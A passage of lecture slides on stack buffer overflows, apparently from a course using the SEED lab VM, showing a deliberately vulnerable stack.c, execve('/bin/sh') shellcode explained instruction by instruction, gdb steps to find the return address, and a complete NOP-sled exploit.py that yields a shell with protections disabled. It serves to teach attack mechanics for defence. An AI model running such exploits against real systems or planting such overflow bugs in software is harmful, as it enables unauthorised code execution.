char large_string[128];

int main(int ac, char *av[]) {
    char buffer[96];
    int i;
    long *long_ptr = (long *) large_string;
    printf("This program tries to use strcpy() to overflow the buffer.\n");
    printf("If you get a /bin/sh prompt, then the exploit has worked.\n");
    printf("Press any key to continue...");  
getchar();
    for (i=0; i < 32; i++)
        *(long_ptr +i) = (int) buffer;
    for (i=0; i < (int) strlen(shellcode); i++)
        large_string[i] = shellcode[i];
    strcpy(buffer, large_string);
    return 0;
}
```

Simple Local Shellcode Injection Example

- Disable all countermeasures and compile the code

```
[02/13/23]seed@VM:~/.../lecture7$ sudo sysctl kernel.randomize_va_space=0  
kernel.randomize_va_space = 0  
[02/13/23]seed@VM:~/.../lecture7$ cat /proc/sys/kernel/randomize_va_space  
0  
[02/13/23]seed@VM:~/.../lecture7$ gcc -m32 -fno-stack-protector -z execstack -o shellcode_injection shellcode_injection.c  
[02/13/23]seed@VM:~/.../lecture7$ █
```

-fno-stack-protector

Disable stack canaries

sudo sysctl kernel.randomize_va_space=0

Disable ASLR (Address Space Layout Randomization)

-z execstack

Allow code on the stack to be executed

Shellcode Injection Example (Pseudocode)

- The following generated shellcode

```
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"  
"\x89\xe3\x50\x53\x89\xe1\x31\xd2"  
"\x31\xc0\xb0\x0b\xcd\x80";
```

is equivalent to (approximate) :

```
void main() {  
    char *x[2];  
    x[0] = "/bin/sh"; // the linux shell command  
    x[1] = NULL;  
    execve(x[0], x, NULL); // run the actual shell  
}
```

Shellcode Injection Example (Pseudocode)

- The following generated shellcode

```
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"  
"\x89\xe3\x50\x53\x89\xe1\x31\xd2"  
"\x31\xc0\xb0\x0b\xcd\x80";
```

is equivalent to (approximate) :


```
const char code[] =  
    "\x31\xc0"      /* xorl    %eax,%eax */  
    "\x50"          /* pushl   %eax */  
    "\x68""//sh"   /* pushl   $0x68732f2f */  
    "\x68""/bin"   /* pushl   $0x6e69622f */  
    "\x89\xe3"     /* movl    %esp,%ebx */  ← set %ebx  
    "\x50"          /* pushl   %eax */  
    "\x53"          /* pushl   %ebx */  
    "\x89\xe1"     /* movl    %esp,%ecx */  ← set %ecx  
    "\x99"          /* cdq    */           ← set %edx  
    "\xb0\x0b"     /* movb    $0x0b,%al */  ← set %eax  
    "\xcd\x80"     /* int    $0x80 */    ← invoke execve()  
;
```

Shellcode Injection Example (Activation Record)

```
char large_string[128];

int main(int ac, char *av[]) {
    char buffer[96];
    int i;
    long *long_ptr = (long *) large_string;
    .....
}
```

BSS (Globals)



(buffer) 0x02030405

long_ptr

Activation Record (AR)

av			
ac			
return address			
old frame pointer			
?	?	?	?
?	?	?	?
.			
.			
?	?	?	?
?	?	?	?
i			
0x01	0x23	0x45	0x67


byte 95

byte 3

Shellcode Injection Example (Activation Record)

```
for (i=0; i < 32; i++)
    *(long_ptr +i) = (int) buffer;
```

BSS (Globals)



Activation Record (AR)

av			
ac			
return address			
old frame pointer			
?	?	?	?
?	?	?	?
.			
.			
?	?	?	?
?	?	?	?
i			
0x01	0x23	0x45	0x67

byte 95

byte 3

Shellcode Injection Example (Activation Record)

```
for (i=0; i < 32; i++)
    *(long_ptr +i) = (int) buffer;
```

BSS (Globals)

(large_string) **0x01234567**

0x02	0x03	0x04	0x05
0x02	0x03	0x04	0x05
.			
.			
0x02	0x03	0x04	0x05
0x02	0x03	0x04	0x05

byte 127

byte 3

(buffer) **0x02030405**

long_ptr

Activation Record (AR)


av			
ac			
return address			
old frame pointer			
?	?	?	?
?	?	?	?
.			
.			
?	?	?	?
?	?	?	?
?			
byte 95			
byte 3			
i			
0x01	0x23	0x45	0x67



Shellcode Injection Example (Activation Record)

```
for (i=0; i < (int) strlen(shellcode); i++)
    large_string[i] = shellcode[i];
```

BSS (Globals)



Activation Record (AR)

av			
ac			
return address			
old frame pointer			
?	?	?	?
?	?	?	?
.			
.			
?	?	?	?
?	?	?	?
i			
0x01	0x23	0x45	0x67

(buffer) 0x02030405



long_ptr

byte 95

byte 3

Shellcode Injection Example (Activation Record)


```
for (i=0; i < (int) strlen(shellcode); i++)
    large_string[i] = shellcode[i];
```




Shellcode Injection Example (Activation Record)

```
strcpy(buffer, large_string);
```

BSS (Globals)



Activation Record (AR)



Shellcode Injection Example (Activation Record)

```
strcpy(buffer, large_string);
```

BSS (Globals)


(large_string) 0x01234567

0x02	0x03	0x04	0x05
0x02	0x03	0x04	0x05

return address

(buffer) 0x02030405

long_ptr




Shellcode Injection Example (Satisfying Requirements)

1. Get shellcode on the stack?
 - That was **easy** through exploiting the **variable buffer overflow** bug
2. Find the address of where the shellcode starts?
 - Easy too
 - We own the address of the buffer in the program
 - And it is local
3. Find the location of the return address in the AR and replace it with the address of the shellcode?
 - We used the **shotgun technique** to place the shellcode address onto the return address location
 - We know return address is somewhere in activation record after the controlled variable
 - We only need **one address to hit**
 - We keep **repeating same address** over and over again **until one hits** return address


Techniques For Finding Address of Shellcode

- Trial and error (guessing)
- No-Op Sliding
 - No-Op instruction: **0x90**
 - If program hits a **No-Op**, simply continues with the next instruction
 - Place the shellcode start address somewhere on the slide
 - Remember: If you see many No-Ops (memory, file, packet capture), be suspicious

No-Op Sliding



No-Op Sliding



Example (Vulnerable Code)

stack.c

```
int main(int argc, char **argv)
{
    char str[400];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 300, badfile);
    foo(str);

    printf("Returned Properly\n");
    return 1;
}
```

Reading 300 bytes of data from badfile.

Storing the file contents into a str variable of size 400 bytes.

Calling foo function with str as an argument.

Note : **badfile** is created by the user and hence the contents are in control of the user.

Example (Vulnerable Code)

```
/* stack.c */
/* This program has a buffer overflow vulnerability. */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int foo(char *str)
{
    char buffer[100];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}
```


Example (Vulnerable Code)

Compile and run the code with an empty file as input:

```
seed@VM:~/..../lecture8$ gcc -m32 -g -fno-stack-protector -z execstack -o stack_32bit stack.c
seed@VM:~/..../lecture8$ touch badfile
seed@VM:~/..../lecture8$ ./stack_32bit
Returned Properly
seed@VM:~/..../lecture8$ █
```

Program functions normally if the file has less than 100 characters


Example (Without Using NO-OPs)



We must guess the **exact correct address of the shellcode** and replace the return address with this correct address.

Example (Using NO-OPs)

- To increase the chances of jumping to the correct address, of the malicious code, we can fill the badfile with NOP instructions and place the malicious code at the end of the buffer (last byte of shell code will be the 300th character).



Example (Using NO-OPs)

```
6         int foo(char *str)
B+>7 {           char buffer[100];
8
9
10        /* The following statement has a buffer overflow problem */
11        strcpy(buffer, str);
12
13        return 1;
14    }
```

native process 57000 In: foo L7

0024| 0xfffffd004 --> 0x20 (' ')
0028| 0xfffffd008 --> 0x1
[-----]


Legend: code, data, rodata, value

Breakpoint 1, foo (str=0xfffffd00c "") at stack.c:7
gdb-peda\$ next

Example (Find Return Address)

```
11      strcpy(buffer, str);
gdb-peda$ print $ebp
$1 = (void *) 0xfffffcfd8
gdb-peda$ print &buffer
$2 = (char (*)[100]) 0xfffffcf6c
gdb-peda$ print/d 0xfffffcfd8 - 0xfffffcf6c
$3 = 108
gdb-peda$ quit
```

Return address is at **&buffer + 112**



Example (Constructing badfile - exploit.py)

```
#!/usr/bin/python3
import sys

shellcode= (
    "\x31\xc0"          # xorl    %eax,%eax
    "\x50"              # pushl   %eax
    "\x68""//sh"        # pushl   $0x68732f2f
    "\x68""/bin"        # pushl   $0x6e69622f
    "\x89\xe3"          # movl    %esp,%ebx
    "\x50"              # pushl   %eax
    "\x53"              # pushl   %ebx
    "\x89\xe1"          # movl    %esp,%ecx
    "\x99"              # cdq
    "\xb0\x0b"           # movb    $0x0b,%al
    "\xcd\x80"           # int     $0x80
).encode('latin-1')

# Fill the content with NOPs
content = bytearray(0x90 for i in range(300))

# Put the shellcode at the end
start = 300 - len(shellcode)
content[start:] = shellcode

# Put the address at offset 112
ret = 0xfffffd8 + 4 + 132 # 132 is a random offset from the return address where NOPs exists
content[112:116] = (ret).to_bytes(4,byteorder='little')

# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)
```

Our injected address
is 0xfffffd060 (loc of
return address + 132)

Code Injection Execution

- Compile and Run

```
seed@VM:~/.../module5$ gcc -m32 -fno-stack-protector -z execstack -o stack_32bit stack.c
seed@VM:~/.../module5$ exploit.py
seed@VM:~/.../module5$ ./stack_32bit
$ 
```



Shell prompt

No-Op Sliding

- After exploiting buffer overflow vulnerability

Overwritten
return address

```
B+ 0x5655624e <foo+33>      call    0x565560b0 <strcpy@plt>
>0x56556253 <foo+38>      add     esp, 0x10
```

```
gdb-peda$ x/32xb buffer+112
0xfffffcfdc: 0x60 0xd0 0xff 0xff 0x90 0x90 0x90 0x90
0xfffffcfe4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xfffffcfec: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffcff4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
```

```
gdb-peda$ x/56xb 0xfffffd060
0xfffffd060: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xfffffd068: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xfffffd070: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xfffffd078: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xfffffd080: 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68
0xfffffd088: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x50
0xfffffd090: 0x53 0x89 0xe1 0x99 0xb0 0x0b 0xcd 0x80
```

Shellcode

No-Op Sliding

0xfffffd07c	nop
0xfffffd07d	nop
0xfffffd07e	nop
0xfffffd07f	nop
0xfffffd080	xor eax, eax
0xfffffd082	push eax
0xfffffd083	push 0x68732f2f
0xfffffd088	push 0x6e69622f
0xfffffd08d	mov ebx, esp
0xfffffd08f	push eax
0xfffffd090	push ebx
0xfffffd091	mov ecx, esp
0xfffffd093	cdq
0xfffffd094	mov al, 0xb
0xfffffd096	int 0x80

shellcode

Summary

- **Main Goal of attackers when exploiting a buffer overflow vulnerability**
 - Attackers attempt to gain control of IP
 - Attackers inject shell code into memory, then point IP to shell code to execute it and exploit the system